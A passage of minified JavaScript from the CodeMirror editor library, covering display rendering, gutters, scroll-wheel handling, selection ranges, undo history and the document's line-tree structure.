s,l=!(l=e).hasFocus()&&(s=ne())&&te(l.display.lineDiv,s)?(s={activeElt:s},window.getSelection&&(o=window.getSelection()).anchorNode&&o.extend&&te(l.display.lineDiv,o.anchorNode)&&(s.anchorNode=o.anchorNode,s.anchorOffset=o.anchorOffset,s.focusNode=o.focusNode,s.focusOffset=o.focusOffset),s):null,a=(4<i&&(n.lineDiv.style.display="none"),e),u=n.updateLineNumbers,c=t.dims,o=a.display,h=a.options.lineNumbers,d=o.lineDiv,f=d.firstChild;function p(e){var t=e.nextSibling;return x&&C&&a.display.currentWheelTarget==e?e.style.display="none":e.parentNode.removeChild(e),t}for(var g=o.view,m=o.viewFrom,v=0;v<g.length;v++){var y=g[v];if(!y.hidden)if(y.node&&y.node.parentNode==d){for(;f!=y.node;)f=p(f);var b=h&&null!=u&&u<=m&&y.lineNumber;y.changes&&(-1<S(y.changes,"gutter")&&(b=!1),yn(a,y,m,c)),b&&(J(y.lineNumber),y.lineNumber.appendChild(document.createTextNode(vt(a.options,m)))),f=y.node.nextSibling}else{b=function(e,t,n,r){var i=wn(e,t);return t.text=t.node=i.pre,i.bgClass&&(t.bgClass=i.bgClass),i.textClass&&(t.textClass=i.textClass),xn(e,t),Cn(e,t,n,r),Sn(e,t,r),t.node}(a,y,m,c);d.insertBefore(b,f)}m+=y.size}for(;f;)f=p(f);return 4<i&&(n.lineDiv.style.display=""),n.renderedView=n.view,(s=l)&&s.activeElt&&s.activeElt!=ne()&&(s.activeElt.focus(),!/^(INPUT|TEXTAREA)$/.test(s.activeElt.nodeName))&&s.anchorNode&&te(document.body,s.anchorNode)&&te(document.body,s.focusNode)&&(o=window.getSelection(),(i=document.createRange()).setEnd(s.anchorNode,s.anchorOffset),i.collapse(!1),o.removeAllRanges(),o.addRange(i),o.extend(s.focusNode,s.focusOffset)),J(n.cursorDiv),J(n.selectionDiv),n.gutters.style.height=n.sizer.style.minHeight=0,r&&(n.lastWrapHeight=t.wrapperHeight,n.lastWrapWidth=t.wrapperWidth,_r(e,400)),!(n.updateLineNumbers=null)}function Qr(e,t){for(var n=t.viewport,r=!0;;r=!1){if(r&&e.options.lineWrapping&&t.oldDisplayWidth!=Dn(e))r&&(t.visible=Nr(e.display,e.doc,n));else if(n&&null!=n.top&&(n={top:Math.min(e.doc.height+Nn(e.display)-Wn(e),n.top)}),t.visible=Nr(e.display,e.doc,n),t.visible.from>=e.display.viewFrom&&t.visible.to<=e.display.viewTo)break;if(!Zr(e,t))break;Tr(e);var i=zr(e);vr(e),Gr(e,i),ti(e,i),t.force=!1}t.signal(e,"update",e),e.display.viewFrom==e.display.reportedViewFrom&&e.display.viewTo==e.display.reportedViewTo||(t.signal(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo),e.display.reportedViewFrom=e.display.viewFrom,e.display.reportedViewTo=e.display.viewTo)}function Jr(e,t){var n,t=new qr(e,t);Zr(e,t)&&(Tr(e),Qr(e,t),n=zr(e),vr(e),Gr(e,n),ti(e,n),t.finish())}function ei(e){var t=e.gutters.offsetWidth;e.sizer.style.marginLeft=t+"px"}function ti(e,t){e.display.sizer.style.minHeight=t.docHeight+"px",e.display.heightForcer.style.top=t.docHeight+"px",e.display.gutters.style.height=t.docHeight+e.display.barHeight+An(e)+"px"}function ni(e){var t=e.display,n=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var r=ar(t)-t.scroller.scrollLeft+e.doc.scrollLeft,i=t.gutters.offsetWidth,o=r+"px",l=0;l<n.length;l++)if(!n[l].hidden){e.options.fixedGutter&&(n[l].gutter&&(n[l].gutter.style.left=o),n[l].gutterBackground)&&(n[l].gutterBackground.style.left=o);var s=n[l].alignable;if(s)for(var a=0;a<s.length;a++)s[a].style.left=o}e.options.fixedGutter&&(t.gutters.style.left=r+i+"px")}}function ri(e){var t,n,r,i;if(e.options.lineNumbers)return t=e.doc,t=vt(e.options,t.first+t.size-1),n=e.display,t.length!=n.lineNumChars?(r=(i=n.measure.appendChild(M("div",[M("div",t)],"CodeMirror-linenumber CodeMirror-gutter-elt"))).firstChild.offsetWidth,i=i.offsetWidth-r,n.lineGutter.style.width="",n.lineNumInnerWidth=Math.max(r,n.lineGutter.offsetWidth-i)+1,n.lineNumWidth=n.lineNumInnerWidth+i,n.lineNumChars=n.lineNumInnerWidth?t.length:-1,n.lineGutter.style.width=n.lineNumWidth+"px",ei(e.display),1):void 0}function ii(e,t){for(var n=[],r=!1,i=0;i<e.length;i++){var o=e[i],l=null;if("string"!=typeof o&&(l=o.style,o=o.className),"CodeMirror-linenumbers"==o){if(!t)continue;r=!0}n.push({className:o,style:l})}return t&&!r&&n.push({className:"CodeMirror-linenumbers",style:null}),n}function oi(e){var t=e.gutters,n=e.gutterSpecs;J(t),e.lineGutter=null;for(var r=0;r<n.length;++r){var i=n[r],o=i.className,i=i.style,l=t.appendChild(M("div",null,"CodeMirror-gutter "+o));i&&(l.style.cssText=i),"CodeMirror-linenumbers"==o&&((e.lineGutter=l).style.width=(e.lineNumWidth||1)+"px")}t.style.display=n.length?"":"none",ei(e)}function li(e){oi(e.display),E(e),ni(e)}function si(e,t,n,r){var i=this,o=(this.input=n,i.scrollbarFiller=M("div",null,"CodeMirror-scrollbar-filler"),i.scrollbarFiller.setAttribute("cm-not-content","true"),i.gutterFiller=M("div",null,"CodeMirror-gutter-filler"),i.gutterFiller.setAttribute("cm-not-content","true"),i.lineDiv=ee("div",null,"CodeMirror-code"),i.selectionDiv=M("div",null,null,"position: relative; z-index: 1"),i.cursorDiv=M("div",null,"CodeMirror-cursors"),i.measure=M("div",null,"CodeMirror-measure"),i.lineMeasure=M("div",null,"CodeMirror-measure"),i.lineSpace=ee("div",[i.measure,i.lineMeasure,i.selectionDiv,i.cursorDiv,i.lineDiv],null,"position: relative; outline: none"),ee("div",[i.lineSpace],"CodeMirror-lines"));i.mover=M("div",[o],null,"position: relative"),i.sizer=M("div",[i.mover],"CodeMirror-sizer"),i.sizerWidth=null,i.heightForcer=M("div",null,null,"position: absolute; height: "+he+"px; width: 1px;"),i.gutters=M("div",null,"CodeMirror-gutters"),i.lineGutter=null,i.scroller=M("div",[i.sizer,i.heightForcer,i.gutters],"CodeMirror-scroll"),i.scroller.setAttribute("tabIndex","-1"),i.wrapper=M("div",[i.scrollbarFiller,i.gutterFiller,i.scroller],"CodeMirror"),w&&v<8&&(i.gutters.style.zIndex=-1,i.scroller.style.paddingRight=0),x||G&&Y||(i.scroller.draggable=!0),e&&(e.appendChild?e.appendChild(i.wrapper):e(i.wrapper)),i.viewFrom=i.viewTo=t.first,i.reportedViewFrom=i.reportedViewTo=t.first,i.view=[],i.renderedView=null,i.externalMeasured=null,i.viewOffset=0,i.lastWrapHeight=i.lastWrapWidth=0,i.updateLineNumbers=null,i.nativeBarWidth=i.barHeight=i.barWidth=0,i.scrollbarsClipped=!1,i.lineNumWidth=i.lineNumInnerWidth=i.lineNumChars=null,i.alignWidgets=!1,i.cachedCharWidth=i.cachedTextHeight=i.cachedPaddingH=null,i.maxLine=null,i.maxLineLength=0,i.maxLineChanged=!1,i.wheelDX=i.wheelDY=i.wheelStartX=i.wheelStartY=null,i.shift=!1,i.selForContextMenu=null,i.activeTouch=null,i.gutterSpecs=ii(r.gutters,r.lineNumbers),oi(i),n.init(i)}qr.prototype.signal=function(e,t){Ve(e,t)&&this.events.push(arguments)},qr.prototype.finish=function(){for(var e=0;e<this.events.length;e++)N.apply(null,this.events[e])};var ai=0,f=null;function ui(e){var t=e.wheelDeltaX,n=e.wheelDeltaY;return null==t&&e.detail&&e.axis==e.HORIZONTAL_AXIS&&(t=e.detail),null==n&&e.detail&&e.axis==e.VERTICAL_AXIS?n=e.detail:null==n&&(n=e.wheelDelta),{x:t,y:n}}function ci(e){e=ui(e);return e.x*=f,e.y*=f,e}function hi(e,t){var n,r,i=ui(t),o=i.x,i=i.y,l=e.display,s=l.scroller,a=s.scrollWidth>s.clientWidth,u=s.scrollHeight>s.clientHeight;if(o&&a||i&&u){if(i&&C&&x)e:for(var c=t.target,h=l.view;c!=s;c=c.parentNode)for(var d=0;d<h.length;d++)if(h[d].node==c){e.display.currentWheelTarget=c;break e}!o||G||U||null==f?(i&&null!=f&&(a=i*f,r=(n=e.doc.scrollTop)+l.wrapper.clientHeight,a<0?n=Math.max(0,n+a-50):r=Math.min(e.doc.height,r+a+50),Jr(e,{top:n,bottom:r})),ai<20&&(null==l.wheelStartX?(l.wheelStartX=s.scrollLeft,l.wheelStartY=s.scrollTop,l.wheelDX=o,l.wheelDY=i,setTimeout(function(){var e,t;null!=l.wheelStartX&&(e=s.scrollLeft-l.wheelStartX,t=(t=s.scrollTop-l.wheelStartY)&&l.wheelDY&&t/l.wheelDY||e&&l.wheelDX&&e/l.wheelDX,l.wheelStartX=l.wheelStartY=null,t)&&(f=(f*ai+t)/(ai+1),++ai)},200)):(l.wheelDX+=o,l.wheelDY+=i))):(i&&u&&Er(e,Math.max(0,s.scrollTop+i*f)),Ir(e,Math.max(0,s.scrollLeft+o*f)),i&&!u||T(t),l.wheelStartX=null)}}w?f=-.53:G?f=15:c?f=-.7:V&&(f=-1/3);var I=function(e,t){this.ranges=e,this.primIndex=t},R=(I.prototype.primary=function(){return this.ranges[this.primIndex]},I.prototype.equals=function(e){if(e!=this){if(e.primIndex!=this.primIndex||e.ranges.length!=this.ranges.length)return!1;for(var t=0;t<this.ranges.length;t++){var n=this.ranges[t],r=e.ranges[t];if(!yt(n.anchor,r.anchor)||!yt(n.head,r.head))return!1}}return!0},I.prototype.deepCopy=function(){for(var e=[],t=0;t<this.ranges.length;t++)e[t]=new R(bt(this.ranges[t].anchor),bt(this.ranges[t].head));return new I(e,this.primIndex)},I.prototype.somethingSelected=function(){for(var e=0;e<this.ranges.length;e++)if(!this.ranges[e].empty())return!0;return!1},I.prototype.contains=function(e,t){t=t||e;for(var n=0;n<this.ranges.length;n++){var r=this.ranges[n];if(0<=H(t,r.from())&&H(e,r.to())<=0)return n}return-1},function(e,t){this.anchor=e,this.head=t});function di(e,t,n){var r=e&&e.options.selectionsMayTouch,e=t[n];t.sort(function(e,t){return H(e.from(),t.from())}),n=S(t,e);for(var i=1;i<t.length;i++){var o,l=t[i],s=t[i-1],a=H(s.to(),l.from());(r&&!l.empty()?0<a:0<=a)&&(a=xt(s.from(),l.from()),o=wt(s.to(),l.to()),l=s.empty()?l.from()==l.head:s.from()==s.head,i<=n&&--n,t.splice(--i,2,new R(l?o:a,l?a:o)))}return new I(t,n)}function fi(e,t){return new I([new R(e,t||e)],0)}function pi(e){return e.text?W(e.from.line+e.text.length-1,z(e.text).length+(1==e.text.length?e.from.ch:0)):e.to}function gi(e,t){var n,r;return H(e,t.from)<0?e:H(e,t.to)<=0?pi(t):(n=e.line+t.text.length-(t.to.line-t.from.line)-1,r=e.ch,e.line==t.to.line&&(r+=pi(t).ch-t.to.ch),W(n,r))}function mi(e,t){for(var n=[],r=0;r<e.sel.ranges.length;r++){var i=e.sel.ranges[r];n.push(new R(gi(i.anchor,t),gi(i.head,t)))}return di(e.cm,n,e.sel.primIndex)}function vi(e,t,n){return e.line==t.line?W(n.line,e.ch-t.ch+n.ch):W(n.line+(e.line-t.line),e.ch)}function yi(e){e.doc.mode=lt(e.options,e.doc.modeOption),bi(e)}function bi(e){e.doc.iter(function(e){e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null)}),e.doc.modeFrontier=e.doc.highlightFrontier=e.doc.first,_r(e,100),e.state.modeGen++,e.curOp&&E(e)}function wi(e,t){return 0==t.from.ch&&0==t.to.ch&&""==z(t.text)&&(!e.cm||e.cm.options.wholeLineUpdateBefore)}function xi(e,o,t,l){function i(e){return t?t[e]:null}function n(e,t,n){var r,i;t=t,n=n,i=l,(r=e).text=t,r.stateAfter&&(r.stateAfter=null),r.styles&&(r.styles=null),null!=r.order&&(r.order=null),Ut(r),Vt(r,n),(t=i?i(r):1)!=r.height&&pt(r,t),b(e,"change",e,o)}function r(e,t){for(var n=[],r=e;r<t;++r)n.push(new on(c[r],i(r),l));return n}var s,a=o.from,u=o.to,c=o.text,h=A(e,a.line),d=A(e,u.line),f=z(c),p=i(c.length-1),g=u.line-a.line;o.full?(e.insert(0,r(0,c.length)),e.remove(c.length,e.size-c.length)):wi(e,o)?(s=r(0,c.length-1),n(d,d.text,p),g&&e.remove(a.line,g),s.length&&e.insert(a.line,s)):h==d?1==c.length?n(h,h.text.slice(0,a.ch)+f+h.text.slice(u.ch),p):((s=r(1,c.length-1)).push(new on(f+h.text.slice(u.ch),p,l)),n(h,h.text.slice(0,a.ch)+c[0],i(0)),e.insert(a.line+1,s)):1==c.length?(n(h,h.text.slice(0,a.ch)+c[0]+d.text.slice(u.ch),i(0)),e.remove(a.line+1,g)):(n(h,h.text.slice(0,a.ch)+c[0],i(0)),n(d,f+d.text.slice(u.ch),p),s=r(1,c.length-1),1<g&&e.remove(a.line+1,g-1),e.insert(a.line+1,s)),b(e,"change",e,o)}function Ci(e,s,a){!function e(t,n,r){if(t.linked)for(var i=0;i<t.linked.length;++i){var o,l=t.linked[i];l.doc!=n&&(o=r&&l.sharedHist,!a||o)&&(s(l.doc,o),e(l.doc,t,o))}}(e,null,!0)}function Si(e,t){if(t.cm)throw new Error("This document is already in use.");cr((e.doc=t).cm=e),yi(e),Li(e),e.options.lineWrapping||rn(e),e.options.mode=t.modeOption,E(e)}function Li(e){("rtl"==e.doc.direction?re:Q)(e.display.lineDiv,"CodeMirror-rtl")}function ki(e){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=e||1}function Ti(e,t){var n={from:bt(t.from),to:pi(t),text:dt(e,t.from,t.to)};return Di(e,n,t.from.line,t.to.line+1),Ci(e,function(e){return Di(e,n,t.from.line,t.to.line+1)},!0),n}function Mi(e){for(;e.length;){if(!z(e).ranges)break;e.pop()}}function Ni(e,t,n,r){var i,o,l=e.history,s=(l.undone.length=0,+new Date);if((l.lastOp==r||l.lastOrigin==t.origin&&t.origin&&("+"==t.origin.charAt(0)&&l.lastModTime>s-(e.cm?e.cm.options.historyEventDelay:500)||"*"==t.origin.charAt(0)))&&(o=(o=l).lastOp==r?(Mi(o.done),z(o.done)):o.done.length&&!z(o.done).ranges?z(o.done):1<o.done.length&&!o.done[o.done.length-2].ranges?(o.done.pop(),z(o.done)):void 0))i=z(o.changes),0==H(t.from,t.to)&&0==H(t.from,i.to)?i.to=pi(t):o.changes.push(Ti(e,t));else{var a=z(l.done);for(a&&a.ranges||Ai(e.sel,l.done),o={changes:[Ti(e,t)],generation:l.generation},l.done.push(o);l.done.length>l.undoDepth;)l.done.shift(),l.done[0].ranges||l.done.shift()}l.done.push(n),l.generation=++l.maxGeneration,l.lastModTime=l.lastSelTime=s,l.lastOp=l.lastSelOp=r,l.lastOrigin=l.lastSelOrigin=t.origin,i||N(e,"historyAdded")}function Oi(e,t,n,r){var i,o,l,s=e.history,a=r&&r.origin;n==s.lastSelOp||a&&s.lastSelOrigin==a&&(s.lastModTime==s.lastSelTime&&s.lastOrigin==a||(e=e,i=a,o=z(s.done),l=t,"*"==(i=i.charAt(0)))||"+"==i&&o.ranges.length==l.ranges.length&&o.somethingSelected()==l.somethingSelected()&&new Date-e.history.lastSelTime<=(e.cm?e.cm.options.historyEventDelay:500))?s.done[s.done.length-1]=t:Ai(t,s.done),s.lastSelTime=+new Date,s.lastSelOrigin=a,s.lastSelOp=n,r&&!1!==r.clearRedo&&Mi(s.undone)}function Ai(e,t){var n=z(t);n&&n.ranges&&n.equals(e)||t.push(e)}function Di(t,n,e,r){var i=n["spans_"+t.id],o=0;t.iter(Math.max(t.first,e),Math.min(t.first+t.size,r),function(e){e.markedSpans&&((i=i||(n["spans_"+t.id]={}))[o]=e.markedSpans),++o})}function Wi(e,t){var n=t["spans_"+e.id];if(!n)return null;for(var r=[],i=0;i<t.text.length;++i)r.push(function(e){if(!e)return null;for(var t,n=0;n<e.length;++n)e[n].marker.explicitlyCleared?t=t||e.slice(0,n):t&&t.push(e[n]);return t?t.length?t:null:e}(n[i]));return r}function Hi(e,t){var n=Wi(e,t),r=Bt(e,t);if(!n)return r;if(r)for(var i=0;i<n.length;++i){var o=n[i],l=r[i];if(o&&l)e:for(var s=0;s<l.length;++s){for(var a=l[s],u=0;u<o.length;++u)if(o[u].marker==a.marker)continue e;o.push(a)}else l&&(n[i]=l)}return n}function Fi(e,t,n){for(var r=[],i=0;i<e.length;++i){var o=e[i];if(o.ranges)r.push(n?I.prototype.deepCopy.call(o):o);else{var l=o.changes,s=[];r.push({changes:s});for(var a=0;a<l.length;++a){var u,c=l[a];if(s.push({from:c.from,to:c.to,text:c.text}),t)for(var h in c)(u=h.match(/^spans_(\d+)$/))&&-1<S(t,Number(u[1]))&&(z(s)[h]=c[h],delete c[h])}}}return r}function Ei(e,t,n,r){return r?(r=e.anchor,n&&((e=H(t,r)<0)!=H(n,r)<0?(r=t,t=n):e!=H(t,n)<0&&(t=n)),new R(r,t)):new R(n||t,t)}function Pi(e,t,n,r,i){null==i&&(i=e.cm&&(e.cm.display.shift||e.extend)),B(e,new I([Ei(e.sel.primary(),t,n,i)],0),r)}function Ii(e,t,n){for(var r=[],i=e.cm&&(e.cm.display.shift||e.extend),o=0;o<e.sel.ranges.length;o++)r[o]=Ei(e.sel.ranges[o],t[o],null,i);B(e,di(e.cm,r,e.sel.primIndex),n)}function zi(e,t,n,r){var i=e.sel.ranges.slice(0);i[t]=n,B(e,di(e.cm,i,e.sel.primIndex),r)}function Ri(e,t,n,r){B(e,fi(t,n),r)}function Bi(e,t,n){var r=e.history.done,i=z(r);i&&i.ranges?Gi(e,r[r.length-1]=t,n):B(e,t,n)}function B(e,t,n){Gi(e,t,n),Oi(e,e.sel,e.cm?e.cm.curOp.id:NaN,n)}function Gi(e,t,n){(Ve(e,"beforeSelectionChange")||e.cm&&Ve(e.cm,"beforeSelectionChange"))&&(r=e,o=n,o={ranges:(i=t).ranges,update:function(e){this.ranges=[];for(var t=0;t<e.length;t++)this.ranges[t]=new R(F(r,e[t].anchor),F(r,e[t].head))},origin:o&&o.origin},N(r,"beforeSelectionChange",r,o),r.cm&&N(r.cm,"beforeSelectionChange",r.cm,o),t=o.ranges!=i.ranges?di(r.cm,o.ranges,o.ranges.length-1):i);var r,i,o=n&&n.bias||(H(t.primary().head,e.sel.primary().head)<0?-1:1);Ui(e,Ki(e,t,o,!0)),n&&!1===n.scroll||!e.cm||Dr(e.cm)}function Ui(e,t){t.equals(e.sel)||(e.sel=t,e.cm&&(e.cm.curOp.updateInput=1,e.cm.curOp.selectionChanged=!0,Ue(e.cm)),b(e,"cursorActivity",e))}function Vi(e){Ui(e,Ki(e,e.sel,null,!1))}function Ki(e,t,n,r){for(var i,o=0;o<t.ranges.length;o++){var l=t.ranges[o],s=t.ranges.length==e.sel.ranges.length&&e.sel.ranges[o],a=Xi(e,l.anchor,s&&s.anchor,n,r),s=Xi(e,l.head,s&&s.head,n,r);!i&&a==l.anchor&&s==l.head||((i=i||t.ranges.slice(0,o))[o]=new R(a,s))}return i?di(e.cm,i,t.primIndex):t}function ji(e,t,n,r,i){var o=A(e,t.line);if(o.markedSpans)for(var l=0;l<o.markedSpans.length;++l){var s=o.markedSpans[l],a=s.marker,u="selectLeft"in a?!a.selectLeft:a.inclusiveLeft,c="selectRight"in a?!a.selectRight:a.inclusiveRight;if((null==s.from||(u?s.from<=t.ch:s.from<t.ch))&&(null==s.to||(c?s.to>=t.ch:s.to>t.ch))){if(i&&(N(a,"beforeCursorEnter"),a.explicitlyCleared)){if(o.markedSpans){--l;continue}break}if(a.atomic){if(n){var s=a.find(r<0?1:-1),h=void 0;if((s=(r<0?c:u)?Yi(e,s,-r,s&&s.line==t.line?o:null):s)&&s.line==t.line&&(h=H(s,n))&&(r<0?h<0:0<h))return ji(e,s,t,r,i)}h=a.find(r<0?-1:1);return(h=(r<0?u:c)?Yi(e,h,r,h.line==t.line?o:null):h)?ji(e,h,t,r,i):null}}}return t}function Xi(e,t,n,r,i){r=r||1,i=ji(e,t,n,r,i)||!i&&ji(e,t,n,r,!0)||ji(e,t,n,-r,i)||!i&&ji(e,t,n,-r,!0);return i||(e.cantEdit=!0,W(e.first,0))}function Yi(e,t,n,r){return n<0&&0==t.ch?t.line>e.first?F(e,W(t.line-1)):null:0<n&&t.ch==(r||A(e,t.line)).text.length?t.line<e.first+e.size-1?W(t.line+1,0):null:new W(t.line,t.ch+n)}function _i(e){e.setSelection(W(e.firstLine(),0),W(e.lastLine()),fe)}function $i(i,e,t){var o={canceled:!1,from:e.from,to:e.to,text:e.text,origin:e.origin,cancel:function(){return o.canceled=!0}};return t&&(o.update=function(e,t,n,r){e&&(o.from=F(i,e)),t&&(o.to=F(i,t)),n&&(o.text=n),void 0!==r&&(o.origin=r)}),N(i,"beforeChange",i,o),i.cm&&N(i.cm,"beforeChange",i.cm,o),o.canceled?(i.cm&&(i.cm.curOp.updateInput=2),null):{from:o.from,to:o.to,text:o.text,origin:o.origin}}function qi(e,t,n){if(e.cm){if(!e.cm.curOp)return P(e.cm,qi)(e,t,n);if(e.cm.state.suppressEdits)return}if(!(Ve(e,"beforeChange")||e.cm&&Ve(e.cm,"beforeChange"))||(t=$i(e,t,!0))){var r=Pt&&!n&&function(e,t,n){var r=null;if(e.iter(t.line,n.line+1,function(e){if(e.markedSpans)for(var t=0;t<e.markedSpans.length;++t){var n=e.markedSpans[t].marker;!n.readOnly||r&&-1!=S(r,n)||(r=r||[]).push(n)}}),!r)return null;for(var i=[{from:t,to:n}],o=0;o<r.length;++o)for(var l=r[o],s=l.find(0),a=0;a<i.length;++a){var u,c,h,d=i[a];H(d.to,s.from)<0||0<H(d.from,s.to)||(u=[a,1],c=H(d.from,s.from),h=H(d.to,s.to),(c<0||!l.inclusiveLeft&&!c)&&u.push({from:d.from,to:s.from}),(0<h||!l.inclusiveRight&&!h)&&u.push({from:s.to,to:d.to}),i.splice.apply(i,u),a+=u.length-3)}return i}(e,t.from,t.to);if(r)for(var i=r.length-1;0<=i;--i)Zi(e,{from:r[i].from,to:r[i].to,text:i?[""]:t.text,origin:t.origin});else Zi(e,t)}}function Zi(e,n){var t,r;1==n.text.length&&""==n.text[0]&&0==H(n.from,n.to)||(t=mi(e,n),Ni(e,n,t,e.cm?e.cm.curOp.id:NaN),eo(e,n,t,Bt(e,n)),r=[],Ci(e,function(e,t){t||-1!=S(r,e.history)||(io(e.history,n),r.push(e.history)),eo(e,n,null,Bt(e,n))}))}function Qi(i,o,e){var t=i.cm&&i.cm.state.suppressEdits;if(!t||e){for(var l,n=i.history,r=i.sel,s="undo"==o?n.done:n.undone,a="undo"==o?n.undone:n.done,u=0;u<s.length&&(l=s[u],e?!l.ranges||l.equals(i.sel):l.ranges);u++);if(u!=s.length){for(n.lastOrigin=n.lastSelOrigin=null;;){if(!(l=s.pop()).ranges){if(t)return void s.push(l);break}if(Ai(l,a),e&&!l.equals(i.sel))return void B(i,l,{clearRedo:!1});r=l}for(var c=[],h=(Ai(r,a),a.push({changes:c,generation:n.generation}),n.generation=l.generation||++n.maxGeneration,Ve(i,"beforeChange")||i.cm&&Ve(i.cm,"beforeChange")),d=l.changes.length-1;0<=d;--d){var f=function(e){var n=l.changes[e];if(n.origin=o,h&&!$i(i,n,!1))return s.length=0,{};c.push(Ti(i,n));var t=e?mi(i,n):z(s),r=(eo(i,n,t,Hi(i,n)),!e&&i.cm&&i.cm.scrollIntoView({from:n.from,to:pi(n)}),[]);Ci(i,function(e,t){t||-1!=S(r,e.history)||(io(e.history,n),r.push(e.history)),eo(e,n,null,Hi(e,n))})}(d);if(f)return f.v}}}}function Ji(e,t){if(0!=t&&(e.first+=t,e.sel=new I(be(e.sel.ranges,function(e){return new R(W(e.anchor.line+t,e.anchor.ch),W(e.head.line+t,e.head.ch))}),e.sel.primIndex),e.cm)){E(e.cm,e.first,e.first-t,t);for(var n=e.cm.display,r=n.viewFrom;r<n.viewTo;r++)fr(e.cm,r,"gutter")}}function eo(e,t,n,r){if(e.cm&&!e.cm.curOp)return P(e.cm,eo)(e,t,n,r);if(t.to.line<e.first)Ji(e,t.text.length-1-(t.to.line-t.from.line));else if(!(t.from.line>e.lastLine())){t.from.line<e.first&&(Ji(e,i=t.text.length-1-(e.first-t.from.line)),t={from:W(e.first,0),to:W(t.to.line+i,t.to.ch),text:[z(t.text)],origin:t.origin});var i=e.lastLine();if((t=t.to.line>i?{from:t.from,to:W(i,A(e,i).text.length),text:[t.text[0]],origin:t.origin}:t).removed=dt(e,t.from,t.to),n=n||mi(e,t),e.cm){var i=e.cm,o=t,l=r,s=i.doc,a=i.display,u=o.from,c=o.to,h=!1,d=u.line,f=(i.options.lineWrapping||(d=D(Zt(A(s,u.line))),s.iter(d,c.line+1,function(e){if(e==a.maxLine)return h=!0})),-1<s.sel.contains(o.from,o.to)&&Ue(i),xi(s,o,l,ur(i)),i.options.lineWrapping||(s.iter(d,u.line+o.text.length,function(e){var t=nn(e);t>a.maxLineLength&&(a.maxLine=e,a.maxLineLength=t,a.maxLineChanged=!0,h=!1)}),h&&(i.curOp.updateMaxLine=!0)),s),p=u.line;if(f.modeFrontier=Math.min(f.modeFrontier,p),!(f.highlightFrontier<p-10)){for(var g=f.first,m=p-1;g<m;m--){var v=A(f,m).stateAfter;if(v&&(!(v instanceof Lt)||m+v.lookAhead<p)){g=m+1;break}}f.highlightFrontier=Math.min(f.highlightFrontier,g)}_r(i,400),l=o.text.length-(c.line-u.line)-1,o.full?E(i):u.line!=c.line||1!=o.text.length||wi(i.doc,o)?E(i,u.line,c.line+1,l):fr(i,u.line,"text"),d=Ve(i,"changes"),((s=Ve(i,"change"))||d)&&(l={from:u,to:c,text:o.text,removed:o.removed,origin:o.origin},s&&b(i,"change",i,l),d)&&(i.curOp.changeObjs||(i.curOp.changeObjs=[])).push(l),i.display.selForContextMenu=null}else xi(e,t,r);Gi(e,n,fe),e.cantEdit&&Xi(e,W(e.firstLine(),0))&&(e.cantEdit=!1)}}function to(e,t,n,r,i){var o;H(r=r||n,n)<0&&(n=(o=[r,n])[0],r=o[1]),"string"==typeof t&&(t=e.splitLines(t)),qi(e,{from:n,to:r,text:t,origin:i})}function no(e,t,n,r){n<e.line?e.line+=r:t<e.line&&(e.line=t,e.ch=0)}function ro(e,t,n,r){for(var i=0;i<e.length;++i){var o=e[i],l=!0;if(o.ranges){o.copied||((o=e[i]=o.deepCopy()).copied=!0);for(var s=0;s<o.ranges.length;s++)no(o.ranges[s].anchor,t,n,r),no(o.ranges[s].head,t,n,r)}else{for(var a=0;a<o.changes.length;++a){var u=o.changes[a];if(n<u.from.line)u.from=W(u.from.line+r,u.from.ch),u.to=W(u.to.line+r,u.to.ch);else if(t<=u.to.line){l=!1;break}}l||(e.splice(0,i+1),i=0)}}}function io(e,t){var n=t.from.line,r=t.to.line,t=t.text.length-(r-n)-1;ro(e.done,n,r,t),ro(e.undone,n,r,t)}function oo(e,t,n,r){var i=t,o=t;return"number"==typeof t?o=A(e,Ct(e,t)):i=D(t),null==i?null:(r(o,i)&&e.cm&&fr(e.cm,i,n),o)}function lo(e){this.lines=e,this.parent=null;for(var t=0,n=0;n<e.length;++n)e[n].parent=this,t+=e[n].height;this.height=t}function so(e){this.children=e;for(var t=0,n=0,r=0;r<e.length;++r){var i=e[r];t+=i.chunkSize(),n+=i.height,i.parent=this}this.size=t,this.height=n,this.parent=null}R.prototype.from=function(){return xt(this.anchor,this.head)},R.prototype.to=function(){return wt(this.anchor,this.head)},R.prototype.empty=function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch},lo.prototype={chunkSize:function(){return this.lines.length},removeInner:function(e,t){for(var n,r=e,i=e+t;r<i;++r){var o=this.lines[r];this.height-=o.height,(n=o).parent=null,Ut(n),b(o,"delete")}this.lines.splice(e,t)},collapse:function(e){e.push.apply(e,this.lines)},insertInner:function(e,t,n){this.height+=n,this.lines=this.lines.slice(0,e).concat(t).concat(this.lines.slice(e));for(var r=0;r<t.length;++r)t[r].parent=this},iterN:function(e,t,n){for(var r=e+t;e<r;++e)if(n(this.lines[e]))return!0}},so.prototype={chunkSize:function(){return this.size},removeInner:function(e,t){this.size-=t;for(var n,r=0;r<this.children.length;++r){var i=this.children[r],o=i.chunkSize();if(e<o){var l=Math.min(t,o-e),s=i.height;if(i.removeInner(e,l),this.height-=s-i.height,o==l&&(this.children.splice(r--,1),i.parent=null),0==(t-=l))break;e=0}else e-=o}this.size-t<25&&(1<this.children.length||!(this.children[0]instanceof lo))&&(this.collapse(n=[]),this.children=[new lo(n)],this.children[0].parent=this)},collapse:function(e){for(var t=0;t<this.children.length;++t)this.children[t].collapse(e)},insertInner:function(e,t,n){this.size+=t.length,this.height+=n;for(var r=0;r<this.children.length;++r){var i=this.children[r],o=i.chunkSize();if(e<=o){if(i.insertInner(e,t,n),i.lines&&50<i.lines.length){for(var l=i.lines.length%25+25,s=l;s<i.lines.length;){var a=new lo(i.lines.slice(s,s+=25));i.height-=a.height,this.children.splice(++r,0,a),a.parent=this}i.lines=i.lines.slice(0,l),this.maybeSpill()}break}e-=o}},maybeSpill:function(){if(!(this.children.length<=10)){var e=this;do{var t,n=new so(e.children.splice(e.children.length-5,5))}while(e.parent?(e.size-=n.size,e.height-=n.height,t=S(e.parent.children,e),e.parent.children.splice(t+1,0,n)):(((t=new so(e.children)).parent=e).children=[t,n],e=t),n.parent=e.parent,10<e.children.length);e.parent.maybeSpill()}},iterN:function(e,t,n){for(var r=0;r<this.children.length;++r){var 